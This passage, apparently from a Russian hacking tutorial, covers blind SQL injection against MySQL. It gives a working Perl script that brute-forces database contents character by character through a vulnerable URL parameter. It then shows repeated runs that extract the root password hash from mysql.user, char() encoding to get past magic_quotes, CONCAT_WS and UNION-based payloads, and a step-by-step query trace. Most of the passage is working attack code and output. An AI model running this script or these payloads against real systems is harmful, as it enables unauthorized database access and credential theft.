__ Программная реализация __
Перебор вручную даже с помощью уменьшения диапазона перебора все равно оказывается делом достаточно утомительным и для дальнейших примеров я подумал, что было бы неплохо написать скрипт который автоматом за нас будет перебирать символы. Код этого скрипта и небольшое описание приведены в данном разделе статьи.
--- start r57sql_ocb.pl ---
#!/usr/bin/perl
# r57sql_ocb.pl
# sql-databases one char bruteforce tool
use LWP::UserAgent;
$path = $ARGV[0];
# запрос с уязвимому скрипту с параметром
$query = $ARGV[1];
# запрос к БД (подзапрос) результат которого будет вставлен в функцию substring()
$s_num = $ARGV[2];
# позиция символа который перебираем
$string = $ARGV[3];
# строка в ответе сервера по наличию которой судим о успешном выполнении запроса к БД
if (@ARGV < 4) { &usage; }
# диапазон символов для перебора
$min = $ARGV[4] || 97; # a
$max = $ARGV[5] || 122; # z
&found($min,$max);
# подпрограмма уменьшения диапазона символов
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
# если диапазон менее 5 символов то переходим к перебору
if (($fmax-$fmin)<5) { &crack($fmin,$fmax); }
# иначе находим середину диапазона
print "-> Try $fmin .. $fmax -> ";
$r = int($fmax - ($fmax-$fmin)/2);
$check = ">$r";
# проверяем ответ скрипта и в зависимости от возвращенного результата
# рекурсивно вызываем функцию с новым диапазоном (уже уменьшенным в 2 раза)
if ( &check($check) ) { print "Char > $r\r\n"; &found($r,$fmax); }
else { print "Char < $r\r\n"; &found($fmin,$r+1); }
}
# подпрограмма поиска перебором
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
# проходим циклом по диапазону
while ($i<$cmax)
{
$crcheck = "=$i";
print "-> Try $i ->";
# проверяем ответ скрипта, если ответ положительный то выводим символ и выходим
if ( &check($crcheck) )
{ print " FOUND!\r\n-> Ascii: $i\r\n-> Char: ".chr($i); exit(); }
else { print " NO =(\r\n"; }
$i++;
}
print "NOT FOUND"; exit();
}
# подпрограмма проверки результата запроса
sub check($)
{
$ccheck = $_[0];
# формируем запрос к скрипту
$http_query = $path." AND ascii(lower(substring(".$query.",".$s_num.",1)))". $ccheck;
# отправляем запрос
$mcb_reguest = LWP::UserAgent->new() or die;
$res = $mcb_reguest->post($http_query);
# получаем ответ сервера
@results = $res->content;
foreach $result(@results)
{
# ищем в ответе скрипта строку совпадающую с нашим условием
if ($result =~ /$string/) { return 1; }
}
return 0;
}
sub usage
{
print "Usage: $0 [path_to_script?param] [DB_query] [symbol_position]
[return_string] [brute_min_char] [brute_max_char]\r\n";
print "e.g. : $0
http://server.com/users.php?id=1 \"user()\" 1 \"Found: 3\" 48 57";
exit();
}
--- end r57sql_ocb.pl ---
Скрипт запускается со следующими параметрами:
Путь к скрипту включая параметр уязвимый к sql injection, в нашем случае он будет
http://server.com/users.php?id=1
Запрос к базе данных который вставляется в функцию substring(), т.е. запрос, результат выполнения которого мы будем перебирать.
Позиция символа для перебора.
Строка каторая должна присутствовать в выведенном ответе скрипта при выполнении условия.
6. Необязательные параметры в которых можно задать начальный и конечный ascii-коды для обозначения диапазона перебираемых символов.
Также в процессе работы скрипт выводит добавляемые условия, перебираемые диапазоны и результаты запросов для более наглядного просмотра алгоритма и подсчета количества запросов необходимых для получения одного символа.
Пример работы скрипта для получения имени пользователя:
C:\>r57sql_ocb.pl
http://server.com/users.php?id=1 "user()" 1 "Found: 3"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char > 112
-> Try 112 -> NO =(
-> Try 113 -> NO =(
-> Try 114 -> FOUND!
-> Ascii: 114
-> Char: r
C:\>r57sql_ocb.pl
http://server.com/users.php?id=1 "user()" 2 "Found: 3"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char < 112
-> Try 109 -> NO =(
-> Try 110 -> NO =(
-> Try 111 -> FOUND!
-> Ascii: 111
-> Char: o
C:\>r57sql_ocb.pl
http://server.com/users.php?id=1 "user()" 3 "Found: 3"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char < 112
-> Try 109 -> NO =(
-> Try 110 -> NO =(
-> Try 111 -> FOUND!
-> Ascii: 111
-> Char: o
C:\>r57sql_ocb.pl
http://server.com/users.php?id=1 "user()" 4 "Found: 3"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char > 115
-> Try 115 .. 122 -> Char < 118
-> Try 115 -> NO =(
-> Try 116 -> FOUND!
-> Ascii: 116
-> Char: t
Итак наш пользователь "root" =)
Небольшими изменениями в коде можно сделать чтобы скрипт автоматом подбирал все символы из строки и работал не только с параметром типа integer (в нашем случае это id) но для данной статьи это не нужно, а те кому надо думаю сами смогут дополнить скрипт, там кода на 5 минут.
__ Подзапросы __
Итак как было описано ранее атакующий с помощью перебора смог получить имя пользователя от которого скрипт работает с базой данных. Чтож это неприятно, но это и не смертельно. Если бы этим все и ограничивалось, то можно было бы совсем не беспокоиться, однако все становится на порядок опаснее когда база данных, на которую производится атака, поддерживает подзапросы. В общем случае подзапрос выглядит следующим образом:
SELECT v1 from t1 WHERE v2=(SELECT v3 from t2);
Полученный результат подзапроса из таблицы t2 подставляется в условие в запросе к таблице t1.
Применительно к нашему случаю можно использовать подзапросы в функции substring() и следовательно результат подзапроса мы и обрабатываем этой функцией и соответственно его и перебираем
Конкретно: substring((select v1 from t1),1,1)
Сначала выполняется подзапрос select v1 from t1 , после чего результат его выполнения вставляется в функцию которая выдирает из результата первый символ. А тут уже вспоминаем технику описанную ранее и сравниваем этот символ с тем что нам надо =)
Как видно из вышеописанного, атакующий получает возвожность выполнения любого запроса к базе данных и путем посимвольного перебора имеет возможность получить результат запроса. Из этого следует, что атакующий имеет возможность получить ЛЮБУЮ информацию из базы данных (точнее сказать не любую, а любую доступную тому пользователю от которого с базой работает уязвимый скрипт).
Основная особенность работы с подзапросами состоит в том, что наш подзапрос должен возвращать только одну запись в результате выполнения, иначе в ходе выполнения запроса будет возникать ошибка. Данная проблема легко решается вставкой дополнительных условий в подзапрос или использованием LIMIT ( LIMIT [смещение,] количество ).
Пример работы с подзапросами:
server.com/users.php?id=1 AND ascii(lower(substring((SELECT password from mysql.user WHERE user="root" LIMIT 1),1,1)))>48
Данный запрос возвращает результат в случае если ascii-код первого символа пароля пользователя root полученный из таблицы mysql.user больше 48 (т.е. символ с кодом больше кода символа 1).
В данном запросе сначала выполняется подзапрос SELECT password from mysql.user WHERE user="root" LIMIT 1 возвращающий один результат. После этого полученный результат вставляется в функцию substring() которая выделяет один символ из этого результата. Потом символ переводится в нижний регистр и с помощью ascii() получаем код этого символа, который и сравнивается с переданным нами числом.
Используя скрипт можно продемонстрировать получение первых символов из пароля пользователя root:
C:\>r57sql_ocb.pl
http://server.com/users.php?id=1 "(SELECT password from
mysql.user WHERE user=\"root\" LIMIT 1)" 1 "Found: 3" 48 122
-> Try 48 .. 122 -> Char < 85
-> Try 48 .. 86 -> Char < 67
-> Try 48 .. 68 -> Char < 58
-> Try 48 .. 59 -> Char < 53
-> Try 48 .. 54 -> Char < 51
-> Try 48 -> NO =(
-> Try 49 -> NO =(
-> Try 50 -> FOUND!
-> Ascii: 50
-> Char: 2
C:\>r57sql_ocb.pl
http://server.com/users.php?id=1 "(SELECT password from
mysql.user WHERE user=\"root\" LIMIT 1)" 2 "Found: 3" 48 122
-> Try 48 .. 122 -> Char < 85
-> Try 48 .. 86 -> Char < 67
-> Try 48 .. 68 -> Char < 58
-> Try 48 .. 59 -> Char > 53
-> Try 53 .. 59 -> Char > 56
-> Try 56 -> NO =(
-> Try 57 -> FOUND!
-> Ascii: 57
-> Char: 9
C:\>r57sql_ocb.pl
http://server.com/users.php?id=1 "(SELECT password from
mysql.user WHERE user=\"root\" LIMIT 1)" 3 "Found: 3" 48 122
-> Try 48 .. 122 -> Char > 85
-> Try 85 .. 122 -> Char < 103
-> Try 85 .. 104 -> Char > 94
-> Try 94 .. 104 -> Char < 99
-> Try 94 .. 100 -> Char > 97
-> Try 97 -> NO =(
-> Try 98 -> FOUND!
-> Ascii: 98
-> Char: b
C:\>r57sql_ocb.pl
http://server.com/users.php?id=1 "(SELECT password from
mysql.user WHERE user=\"root\" LIMIT 1)" 4 "Found: 3" 48 122
-> Try 48 .. 122 -> Char > 85
-> Try 85 .. 122 -> Char < 103
-> Try 85 .. 104 -> Char > 94
-> Try 94 .. 104 -> Char < 99
-> Try 94 .. 100 -> Char < 97
-> Try 94 -> NO =(
-> Try 95 -> NO =(
-> Try 96 -> NO =(
-> Try 97 -> FOUND!
-> Ascii: 97
-> Char: a
Итак первыми символами в пароле являются: 29ba
Следующая проблема которая может возникнуть при использовании условий в подзапросе это проблема с magic_quotes при условиях типа user="root". Данная проблема легко обходится видоизменением условия с помощью функции char().
Условие: user="root"
соответствует условию: user=char(114,111,111,116)
Итак получаем:
C:\>r57sql_ocb.pl http://server.com/users.php?id=1"(SELECT password
from mysql.user WHERE user=char(114,111,111,116) LIMIT 1)" 4 "Found: 3" 48 122
-> Try 48 .. 122 -> Char > 85
-> Try 85 .. 122 -> Char < 103
-> Try 85 .. 104 -> Char > 94
-> Try 94 .. 104 -> Char < 99
-> Try 94 .. 100 -> Char < 97
-> Try 94 -> NO =(
-> Try 95 -> NO =(
-> Try 96 -> NO =(
-> Try 97 -> FOUND!
-> Ascii: 97
-> Char: a
C:\>r57sql_ocb.pl
http://server.com/users.php?id=1 "(SELECT password
from mysql.user WHERE user=char(114,111,111,116) LIMIT 1)" 5 "Found: 3" 48 122
-> Try 48 .. 122 -> Char > 85
-> Try 85 .. 122 -> Char < 103
-> Try 85 .. 104 -> Char > 94
-> Try 94 .. 104 -> Char > 99
-> Try 99 .. 104 -> Char < 101
-> Try 99 -> NO =(
-> Try 100 -> FOUND!
-> Ascii: 100
-> Char: d
C:\>r57sql_ocb.pl
http://server.com/users.php?id=1 "(SELECT password from
mysql.user WHERE user=char(114,111,111,116) LIMIT 1)" 6 "Found: 3" 48 122
-> Try 48 .. 122 -> Char < 85
-> Try 48 .. 86 -> Char < 67
-> Try 48 .. 68 -> Char < 58
-> Try 48 .. 59 -> Char < 53
-> Try 48 .. 54 -> Char < 51
-> Try 48 -> NO =(
-> Try 49 -> FOUND!
-> Ascii: 49
-> Char: 1
Четвертый, пятый и шестой символы в пароле соответственно ad1 и magic_quotes нас уже не волнуют =)
Несколько позиций полученных с помощью LIMIT из запроса можно обьединить в одну строку с помощью функции CONCAT() и получать перебором символы из этой обьединенной строки. Например для получения первых трех записей из столбеца login из нашей тестовой таблицы users можно использовать следующее обьединение:
CONCAT_WS("|",(select login from users LIMIT 0,1),(select login from users LIMIT 1,1),(select login from users LIMIT 2,1))
Символ | будет использоваться в качестве разделителей и данная функция возвращает результат типа:
admin|lamer|hacker
В случае использования с нашим скриптом запрос принимает вид:
http://server.com/users.php?id=1 AND ascii(lower(substring(CONCAT_WS("|",(select login from users LIMIT 0,1),(select login from users LIMIT 1,1),(select login from users LIMIT 2,1)),1,1)))=97
И возврашает результат "Found: 3" т.к. первый символ из результата это "a" ( [a]dmin )
__ MySQL версий => 4.0 и < 4.1 __
В данных версиях БД не поддерживается возможность использования подзапросов, поэтому для получения информации из других таблиц ( отличных от той с которой работает скрипт ) приходится использовать предложение UNION. Рассмотрим как это делается на нашем примере. Для начала необходимо найти параметр id при котором наш запрос будет возвращать нулевой результат, например
http://server.com/users.php?id=666 , что необходимо для того, чтобы данный (первый) запрос не оказывал влияния на вывод всего обьединения. Т.е. теперь при обьединении через UNION со вторым запросом к БД имеенно ТОЛЬКО ВТОРОЙ запрос будет оказывать влияние на вывод (или-же наоборот отсутствие вывода) нашего скрипта.
Более подробно:
Запрос:
http://server.com/users.php?id=666
Ответ: "Found: 0"
А запрос:
http://server.com/users.php?id=666 UNION SELECT 1 FROM mysql.user WHERE user="root"
Возвратит "Found: 1" в случае если в таблице mysql.user существует запись для пользователя root.
Далее вводим дополнительные условия:
Запрос:
http://server.com/users.php?id=666 UNION SELECT 1 FROM mysql.user WHERE user="root" AND ascii(lower(substring(password,1,1)))>48
Данный запрос выводит результат "Found: 1" в случае если в таблице mysql.user существует запись для пользователя root и код первого символа из столбца password для данной записи более 48.
Следует обратить внимание на то, что если в предыдущем случае при описании работы с подзапросами мы перебирали именно результат возвращенный подзапросом т.е. нам было важно, что возвратит этот подзапрос, то в данном случае результат который возвращает второй запрос (после UNION) нас неинтересует, нам важно только присутствие или отсутствие этого результата при заданных нами условиях. И мы таким образом просто определяем выполняется наше условие (условия) или нет. А вот то, что мы перебираем и задается в этом условии. Надеюсь понятно обьяснил разницу между методами, если что-то вдруг непонятно то просто попробуйте повторить описанное у себя на локальной БД и все сразу станет на свои места.
Теперь можно используя обьединение UNION попробовать получить перебором записи из нашей тестовой таблицы. Только необходимо заметить что желательно чтобы условия во втором запросе позволяли совпадать только одной записи т.к. в противном случае перебор может выдавать неправильные значения, обьясню на примере:
Пусть в таблице blah существуют две записи для пользователя root:
+-------+------+
| user | pass |
+-------+------+
| root | aaa |
| root | bbb |
+-------+------+
Для таких записей запросы
http://server.com/users.php?id=666 UNION SELECT 1 FROM blah WHERE user="root" AND ascii(lower(substring(pass,1,1)))=97
и
http://server.com/users.php?id=666 UNION SELECT 1 FROM blah WHERE user="root" AND ascii(lower(substring(pass,1,1)))=98
вернут результат. И перебор будет возвращать неправильный результат.
Так что чем больше условий будет во втором запросе тем больше вероятность получения правильного результата с помощью перебора.
Для посимвольного перебора с использованием UNION также можно использовать наш скрипт, единственное условие это то что необходимо будет добавить часть запроса в первый параметр. Вот пример получения пароля пользователя root из таблицы mysql.user:
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 FROM
mysql.user WHERE user=char(114,111,111,116)" "password" 1 "Found: 1" 1 122
-> Try 1 .. 122 -> Char < 61
-> Try 1 .. 62 -> Char > 31
-> Try 31 .. 62 -> Char > 46
-> Try 46 .. 62 -> Char < 54
-> Try 46 .. 55 -> Char < 50
-> Try 46 .. 51 -> Char > 48
-> Try 48 -> NO =(
-> Try 49 -> NO =(
-> Try 50 -> FOUND!
-> Ascii: 50
-> Char: 2
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 FROM
mysql.user WHERE user=char(114,111,111,116)" "password" 2 "Found: 1" 1 122
-> Try 1 .. 122 -> Char < 61
-> Try 1 .. 62 -> Char > 31
-> Try 31 .. 62 -> Char > 46
-> Try 46 .. 62 -> Char > 54
-> Try 54 .. 62 -> Char < 58
-> Try 54 .. 59 -> Char > 56
-> Try 56 -> NO =(
-> Try 57 -> FOUND!
-> Ascii: 57
-> Char: 9
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 FROM
mysql.user WHERE user=char(114,111,111,116)" "password" 3 "Found: 1" 1 122
-> Try 1 .. 122 -> Char > 61
-> Try 61 .. 122 -> Char > 91
-> Try 91 .. 122 -> Char < 106
-> Try 91 .. 107 -> Char < 99
-> Try 91 .. 100 -> Char > 95
-> Try 95 .. 100 -> Char > 97
-> Try 97 -> NO =(
-> Try 98 -> FOUND!
-> Ascii: 98
-> Char: b
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1
FROM mysql.user WHERE user=char(114,111,111,116)" "password" 4 "Found: 1" 1 122
-> Try 1 .. 122 -> Char > 61
-> Try 61 .. 122 -> Char > 91
-> Try 91 .. 122 -> Char < 106
-> Try 91 .. 107 -> Char < 99
-> Try 91 .. 100 -> Char > 95
-> Try 95 .. 100 -> Char < 97
-> Try 95 -> NO =(
-> Try 96 -> NO =(
-> Try 97 -> FOUND!
-> Ascii: 97
-> Char: a
Для полной картины, в первом примере, например, полные запросы к базе данных и алгоритм выглядят следующим образом:
* Если ответ "Found: 1" то условие естинно т.е. True , иначе ответ "Found: 0" и условие ложно False
1.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>61
Условие: False
2.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>31
Условие: True
3.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>46
Условие: True
4.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>54
Условие: False
5.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>50
Условие: False
6.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>48
Условие: True
7.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))=49
Условие: False
8.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))=50
Условие: True
Таким образом атакующий обладает возможностью получать информацию из любой таблицы в БД даже при условиях, что вывод данных, непосредственно полученных из запроса, не осуществляется. Как и в случае с подзапросами данный метод перебора может применяться не только в запросах выборки из БД типа SELECT ..., но и в запросах обновления записей типа UPDATE ... при условии, что есть возможность определить был-ли выполнен запрос или нет.